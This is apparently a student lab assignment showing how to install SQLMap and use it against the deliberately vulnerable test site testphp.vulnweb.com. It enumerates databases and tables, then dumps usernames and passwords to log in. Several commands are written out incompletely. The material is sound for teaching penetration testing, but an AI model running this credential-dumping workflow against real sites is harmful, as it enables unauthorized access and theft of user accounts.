### **Assignment-SQLMAP**

## **Step -1 Purpose and Usage of SQLMap:**

SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. Its primary purpose is to assess the security of web applications by identifying potential vulnerabilities in the underlying database layer.

SQLMap serves as a valuable tool for assessing the security of web applications and identifying SQL injection vulnerabilities that could lead to unauthorized access, data breaches, and other security incidents. However, it's important to note that SQLMap should only be used in authorized and controlled environments, with proper consent from the application owner or responsible parties, to ensure ethical and legal compliance.

### **Step -2 Installation of SQLMap:**

- Open kali linux in virtual box
- Open terminal emulator
- If SQLMAP is not installed in you terminal type this command:
  - > sudo apt-get install sqlmap
- If SQLMAP is there if it ask update type this command:
  - sudo sqlmap –update



# **Step -3 Identifying a Vulnerable Web Application:**

- Open google chrome,type vulnweb.com
- Then take any websit for example: <a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a>
- Open another tab and search site:http://testphp.vulnweb.com/listproducts.php?id=
- Then click on first site presented there
   <a href="http://testphp.vulnweb.com/listproducts.php?cat=1">http://testphp.vulnweb.com/listproducts.php?cat=1</a>

# Step -4 Performing a Basic SQL Injection Attack:

- Open kali terminal to perform a basic SQL injection attack
- Example command: sqlmap -u "http://target.com/page.php?id=1" -dbs
- Now perform SQL injection attack in target website that is http://testphp.vulnweb.com/listproducts.php?artist=1
- let check the databases present in the target application by exploiting the SQL injection vulnerability.

http://testphp.vulnweb.com/listproducts.php?artist=1 -dbs (to check database)

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After that we connect with database from that vulnerabile website. we are accessing the database called acurat and list products in it.
 <a href="http://testphp.vulnweb.com/listproducts.php?artist=1">http://testphp.vulnweb.com/listproducts.php?artist=1</a> -D acurat --tables

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Then you will get the User name in that table. Now we need dump the User name by using this command.
 <a href="http://testphp.vulnweb.com/listproducts.php?artist=1">http://testphp.vulnweb.com/listproducts.php?artist=1</a> -D acurat -T user -C uname --dump

 Now we need to dump the password from the database using this command. <a href="http://testphp.vulnweb.com/listproducts.php?artist=1">http://testphp.vulnweb.com/listproducts.php?artist=1</a> -D acurat -T user -C uname -C pass--dump

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• We are having uname and pass for the targeted website. Loging in the web site. After that we can perform anytask in it.

